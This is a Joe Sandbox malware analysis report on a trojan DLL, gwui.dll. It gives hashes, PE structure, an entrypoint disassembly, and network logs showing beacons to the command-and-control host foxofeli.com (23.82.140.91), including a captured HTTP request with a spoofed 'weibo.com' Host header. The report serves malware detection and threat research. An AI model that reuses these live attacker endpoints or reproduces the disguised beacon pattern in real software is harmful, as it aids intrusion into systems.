regsvr32.exe, 00000004.00000003.488959
384.00000000010E4000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.462319073.00000000010E400
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.566254333.0000
0000010E3000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.544973196.00000000010E3000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.575927545.00
000000010E5000.00000004.00000020.0002000
0.00000000.sdmp, regsvr32.exe, 00000004.
00000003.557385498.00000000010E3000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000004.00000003.497956598.
00000000010E3000.00000004.00000020.00020
000.00000000.sdmp, regsvr32.exe, 0000000
4.00000003.607596026.00000000010E3000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.50895591
2.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.597332255.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.533038
579.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.479029855.00000000010E400
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.520718160.0000
0000010E3000.00000004.00000020.00020000.
00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true3 loaddll64.exe, 00000001.00000002.8601108
92.00000252DBDBE000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0006.00000003.395641871.0000017B0C190000
.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.450723320.00000
17B0C190000.00000004.00000020.00020000.0
0000000.sdmp, rundll32.exe, 00000006.000
00003.363202660.0000017B0C190000.0000000
4.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.428251366.0000017B0C190
000.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.462471146.00
00017B0C191000.00000004.00000020.0002000
0.00000000.sdmp, rundll32.exe, 00000006.
00000003.378254000.0000017B0C190000.0000
0004.00000020.00020000.00000000.sdmp, ru
ndll32.exe, 00000006.00000003.439529244.
0000017B0C190000.00000004.00000020.00020
000.00000000.sdmp, rundll32.exe, 0000000
6.00000003.365201018.0000017B0C190000.00
000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.41974997
3.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.386528033.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.507997937.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.407890201.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true)/ regsvr32.exe, 00000004.00000003.37179789
9.00000000010E1000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true(A

rundll32.exe, 00000006.00000003.71574409
8.0000017B0C138000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000002.859555760.0000017B0C107000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.635507260.000001
7B0C138000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueO

regsvr32.exe, 00000004.00000003.46243544
2.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.449898043.00000000010BC000.
00000004.00000020.00020000.00000000.sdmp

false unknown

Name Source Malicious Antivirus Detection Reputation
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https://foxofeli.com/template.css?
controller=true899f5f57b9aad

rundll32.exe, 00000006.00000003.73196253
9.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trues/

regsvr32.exe, 00000004.00000003.58890936
9.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.449574804.00000000010E4000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.462319
073.00000000010E4000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.566254333.00000000010E300
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.449785481.0000
0000010E4000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.575927545.00000000010E5000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000002.860068281.00
000000010E5000.00000004.00000020.0002000
0.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueK

regsvr32.exe, 00000004.00000003.63980332
5.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.572829602.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.603066824.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.731962539.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.450723320.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.667002049.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.746682341.0000017B0C190000.00000
004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000006.00000003.652942103.0
000017B0C190000.00000004.00000020.000200
00.00000000.sdmp, rundll32.exe, 00000006
.00000003.723215707.0000017B0C190000.000
00004.00000020.00020000.00000000.sdmp, r
undll32.exe, 00000006.00000003.584153048
.0000017B0C190000.00000004.00000020.0002
0000.00000000.sdmp, rundll32.exe, 000000
06.00000003.593073988.0000017B0C190000.0
0000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.4624711
46.0000017B0C191000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0006.00000003.439529244.0000017B0C190000
.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.610666166.00000
17B0C190000.00000004.00000020.00020000.0
0000000.sdmp

false unknown

https://foxofeli.com/template.css?controller=trueJ loaddll64.exe, 00000001.00000002.8598484
69.00000252DBCFC000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueG

loaddll64.exe, 00000001.00000002.8600145
06.00000252DBD6F000.00000004.00000020.00
020000.00000000.sdmp

false unknown

Name Source Malicious Antivirus Detection Reputation

World Map of Contacted IPs
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No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

23.82.140.91 foxofeli.com United States 393886 LEASEWEB-USA-MIA-
11US

true

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 568947

Start date: 09.02.2022

Start time: 00:06:04

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 10m 46s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: gwui.dll

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

24

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winDLL@9/0@4/1

EGA Information: Successful, ratio: 100%

Public IPs

General Information
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HDC Information: Successful, ratio: 31.8% (good quality ratio 27.4%)
Quality average: 61.8%
Quality standard deviation: 33.8%

HCA Information: Successful, ratio: 89%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .dll
Override analysis time to 240s for rundll32

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe,
wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (wh itelisted): 184.30.21.144
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, store-
images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior  information
Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtDeviceIoControlFile calls found.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.
VT rate limit hit for: gwui.dll

Time Type Description

00:07:06 API Interceptor 2014x Sleep call for process: regsvr32.exe modified

00:07:06 API Interceptor 4038x Sleep call for process: rundll32.exe modified

00:07:09 API Interceptor 2002x Sleep call for process: loaddll64.exe modified

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No created / dropped files found

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files
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File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Entropy (8bit): 4.751554392790605

TrID: Win64 Dynamic Link Library (generic) (102004/3) 86.43%
Win64 Executable (generic) (12005/4) 10.17%
Generic Win/DOS Executable (2004/3) 1.70%
DOS Executable Generic (2002/1) 1.70%
Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%

File name: gwui.dll

File size: 216576

MD5: ac581207ef80437a961f2ada3a47d763

SHA1: 62964395bbc5fbee65dac62e0233ce8377674b2c

SHA256: b6262f4aa06d0bf045d95e3fcbc142f1d1d98f053da5714e3570482f0cf93b65

SHA512: e0e079b3271cf71b582c6d1ea9326860f7c7467051c7aaacab7f19115390655341200fdba1e0b01e2b6225e8ed2efb0a1cdc55bd7fccb120060d89cb0d493bc2

SSDEEP: 3072:CMO8u8qYeykBpKB9T6/ahhywcdYi2emGuwq4kNu2:1Buz3pKB9T6/Whyil5Guw

File Content 
Preview:

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Qjb..............E......z}..N...z}.......s.......s..........@...z}......z}......z}.........
.....z}......Rich...................

Icon Hash: 74f0e4ecccdce0e4

Entrypoint: 0x180002c24

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x180000000

Subsystem: windows gui

Image File Characteristics: EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

DLL Characteristics: DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x6201932B [Mon Feb  7 21:46:19 2022 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 2

File Version Major: 5

File Version Minor: 2

Subsystem Version Major: 5

Subsystem Version Minor: 2

Import Hash: 0901657c3106062e114d7b76e62555e7

Instruction

dec eax

mov dword ptr [esp+08h], ebx

dec eax

mov dword ptr [esp+10h], esi

push edi

dec eax

sub esp, 20h

dec ecx

mov edi, eax

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview
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mov ebx, edx

dec eax

mov esi, ecx

cmp edx, 01h

jne 00007F3B3CB37627h

call 00007F3B3CB3D5FCh

dec esp

mov eax, edi

mov edx, ebx

dec eax

mov ecx, esi

dec eax

mov ebx, dword ptr [esp+30h]

dec eax

mov esi, dword ptr [esp+38h]

dec eax

add esp, 20h

pop edi

jmp 00007F3B3CB374CCh

int3 

int3 

int3 

sub ecx, 000003A4h

je 00007F3B3CB37645h

sub ecx, 04h

je 00007F3B3CB3763Ah

sub ecx, 0Dh

je 00007F3B3CB3762Fh

dec ecx

je 00007F3B3CB37625h

xor eax, eax

ret 

mov eax, 00000404h

ret 

mov eax, 00000412h

ret 

mov eax, 00000804h

ret 

mov eax, 00000411h

ret 

int3 

int3 

int3 

dec eax

mov dword ptr [esp+08h], ebx

dec eax

mov dword ptr [esp+10h], ebp

dec eax

mov dword ptr [esp+18h], esi

push edi

dec eax

sub esp, 20h

dec eax

lea ebx, dword ptr [ecx+1Ch]

dec eax

mov ebp, ecx

mov esi, 00000101h

dec eax

mov ecx, ebx

Instruction
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inc esp

mov eax, esi

xor edx, edx

call 00007F3B3CB3D640h

inc ebp

xor ebx, ebx

dec eax

lea edi, dword ptr [ebp+10h]

inc ecx

lea ecx, dword ptr [ebx+06h]

inc ecx

movzx eax, bx

inc esp

mov dword ptr [ebp+0Ch], ebx

dec esp

mov dword ptr [ebp+04h], ebx

rep stosw 

dec eax

lea edi, dword ptr [0002432Ah]

dec eax

sub edi, ebp

mov al, byte ptr [edi+ebx]

Instruction

Programming Language: [ C ] VS2008 SP1 build 30729
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[EXP] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x262f0 0x163 .rdata

IMAGE_DIRECTORY_ENTRY_IMPORT 0x2e000 0x50 .idata

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x30000 0xac83 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x2c000 0x1248 .pdata

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x3b000 0x254 .reloc

IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x2e480 0x430 .idata

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x1eb46 0x1ec00 False 0.408655678354 data 5.61264725463 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rdata 0x20000 0x6453 0x6600 False 0.236864276961 data 3.65465998039 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.data 0x27000 0x41c1 0x1c00 False 0.2021484375 data 2.45619131585 IMAGE_SCN_CNT_INITIALIZED_
DATA, 
IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

Rich Headers

Data Directories

Sections
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.pdata 0x2c000 0x1548 0x1600 False 0.415660511364 data 4.58747532421 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.idata 0x2e000 0x1038 0x1200 False 0.251953125 data 3.35083557947 IMAGE_SCN_CNT_INITIALIZED_
DATA, 
IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x30000 0xac83 0xae00 False 0.0351786997126 data 0.421900882713 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.reloc 0x3b000 0x536 0x600 False 0.287760416667 data 2.73326159479 IMAGE_SCN_CNT_INITIALIZED_
DATA, 
IMAGE_SCN_MEM_DISCARDAB
LE, IMAGE_SCN_MEM_READ

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

Name RVA Size Type Language Country

RT_MESSAGETABLE 0x30258 0x8d70 data English United States

RT_MANIFEST 0x301c0 0x92 XML 1.0 document, UTF-8 Unicode (with BOM) 
text, with CRLF line terminators

English United States

DLL Import

KERNEL32.dll SizeofResource, LoadResource, FindResourceA, lstrlenA, CreateThread, Sleep, VirtualAlloc, SetStdHandle, 
WriteConsoleW, CloseHandle, HeapSize, SetFilePointer, FlushFileBuffers, GetConsoleMode, GetLastError, 
MultiByteToWideChar, GetCurrentThreadId, FlsSetValue, GetCommandLineA, GetCPInfo, GetACP, GetOEMCP, 
IsValidCodePage, EncodePointer, FlsGetValue, FlsFree, SetLastError, GetCurrentThread, FlsAlloc, 
UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, 
RtlLookupFunctionEntry, RtlCaptureContext, DecodePointer, TerminateProcess, GetCurrentProcess, 
WideCharToMultiByte, LCMapStringW, RtlUnwindEx, EnterCriticalSection, LeaveCriticalSection, HeapFree, 
GetProcAddress, GetModuleHandleW, ExitProcess, SetHandleCount, GetStdHandle, 
InitializeCriticalSectionAndSpinCount, GetFileType, GetStartupInfoW, DeleteCriticalSection, GetModuleFileNameA, 
FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapSetInformation, GetVersion, HeapCreate, HeapDestroy, 
QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetStringTypeW, 
FatalAppExitA, GetUserDefaultLCID, GetLocaleInfoW, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, 
HeapAlloc, HeapReAlloc, SetConsoleCtrlHandler, FreeLibrary, LoadLibraryW, WriteFile, GetModuleFileNameW, 
GetConsoleCP, CreateFileW

ole32.dll PropVariantClear, CLSIDFromString

OLEAUT32.dll SetErrorInfo, SafeArrayAccessData, CreateErrorInfo

Name Ordinal Address

DllRegisterServer 1 0x180001005

Language of compilation system Country where language is spoken Map

English United States

Total Packets: 54

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution
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• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Feb 9, 2022 00:07:07.605169058 CET 49760 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:07.605225086 CET 443 49760 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:07.605353117 CET 49760 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.052231073 CET 49760 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.052277088 CET 443 49760 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.162750959 CET 49761 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.162807941 CET 443 49761 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.162914038 CET 49761 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.185684919 CET 443 49760 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.213896990 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.213969946 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.214102983 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.214662075 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.214695930 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.395720005 CET 49763 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.395761013 CET 443 49763 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.395848989 CET 49763 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.605576038 CET 49761 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.605609894 CET 443 49761 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.737711906 CET 49763 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:08.737752914 CET 443 49763 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.749640942 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:08.749794006 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.135174990 CET 443 49761 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.135317087 CET 49761 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.238142014 CET 443 49763 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.238322973 CET 49763 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.269599915 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.269664049 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.270277023 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.270384073 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.278320074 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.321959972 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.450926065 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.451114893 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.451385021 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.451529980 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.451647043 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.451733112 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.451777935 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.451883078 CET 49762 443 192.168.2.6 23.82.140.91

TCP Packets
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Feb 9, 2022 00:07:09.451944113 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.452018023 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.452044964 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.452075005 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.452094078 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.452142000 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.623568058 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.623663902 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.623722076 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.623734951 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.623779058 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.623807907 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.623814106 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.623817921 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.623863935 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.623892069 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.623908997 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.623943090 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.624027014 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.624110937 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.624124050 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.624147892 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.624169111 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.624187946 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.624208927 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.624226093 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.624243975 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.624274969 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.697303057 CET 49761 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.697328091 CET 443 49761 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.697731018 CET 443 49761 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.697828054 CET 49761 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.700877905 CET 49761 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.741868973 CET 443 49761 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795377016 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795449972 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795510054 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795512915 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.795536041 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795553923 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795577049 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.795600891 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795603991 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.795614958 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795644045 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.795645952 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795680046 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.795680046 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795696974 CET 443 49762 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.795715094 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.795744896 CET 49762 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.811877012 CET 49763 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.811928988 CET 443 49763 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.812429905 CET 443 49763 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.812544107 CET 49763 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.816864014 CET 49763 443 192.168.2.6 23.82.140.91

Feb 9, 2022 00:07:09.861871004 CET 443 49763 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.873893976 CET 443 49761 23.82.140.91 192.168.2.6

Feb 9, 2022 00:07:09.873981953 CET 49761 443 192.168.2.6 23.82.140.91

Timestamp Source Port Dest Port Source IP Dest IP
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 9, 2022 00:07:07.554801941 CET 49448 53 192.168.2.6 8.8.8.8

Feb 9, 2022 00:07:07.577140093 CET 53 49448 8.8.8.8 192.168.2.6

Feb 9, 2022 00:07:08.083076954 CET 60342 53 192.168.2.6 8.8.8.8

Feb 9, 2022 00:07:08.101661921 CET 53 60342 8.8.8.8 192.168.2.6

Feb 9, 2022 00:07:08.337976933 CET 61346 53 192.168.2.6 8.8.8.8

Feb 9, 2022 00:07:08.360696077 CET 53 61346 8.8.8.8 192.168.2.6

Feb 9, 2022 00:07:09.890340090 CET 51774 53 192.168.2.6 8.8.8.8

Feb 9, 2022 00:07:09.909385920 CET 53 51774 8.8.8.8 192.168.2.6

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 9, 2022 00:07:07.554801941 CET 192.168.2.6 8.8.8.8 0xd88f Standard query 
(0)

foxofeli.com A (IP address) IN (0x0001)

Feb 9, 2022 00:07:08.083076954 CET 192.168.2.6 8.8.8.8 0x85b8 Standard query 
(0)

foxofeli.com A (IP address) IN (0x0001)

Feb 9, 2022 00:07:08.337976933 CET 192.168.2.6 8.8.8.8 0xc194 Standard query 
(0)

foxofeli.com A (IP address) IN (0x0001)

Feb 9, 2022 00:07:09.890340090 CET 192.168.2.6 8.8.8.8 0xc35a Standard query 
(0)

foxofeli.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 9, 2022 
00:07:07.577140093 CET

8.8.8.8 192.168.2.6 0xd88f No error (0) foxofeli.com 23.82.140.91 A (IP address) IN 
(0x0001)

Feb 9, 2022 
00:07:08.101661921 CET

8.8.8.8 192.168.2.6 0x85b8 No error (0) foxofeli.com 23.82.140.91 A (IP address) IN 
(0x0001)

Feb 9, 2022 
00:07:08.360696077 CET

8.8.8.8 192.168.2.6 0xc194 No error (0) foxofeli.com 23.82.140.91 A (IP address) IN 
(0x0001)

Feb 9, 2022 
00:07:09.909385920 CET

8.8.8.8 192.168.2.6 0xc35a No error (0) foxofeli.com 23.82.140.91 A (IP address) IN 
(0x0001)

            
weibo.com

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.6 49762 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:09 UTC 0 OUT GET /image-directory/dhl.jpg HTTP/1.1
Host: weibo.com
Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
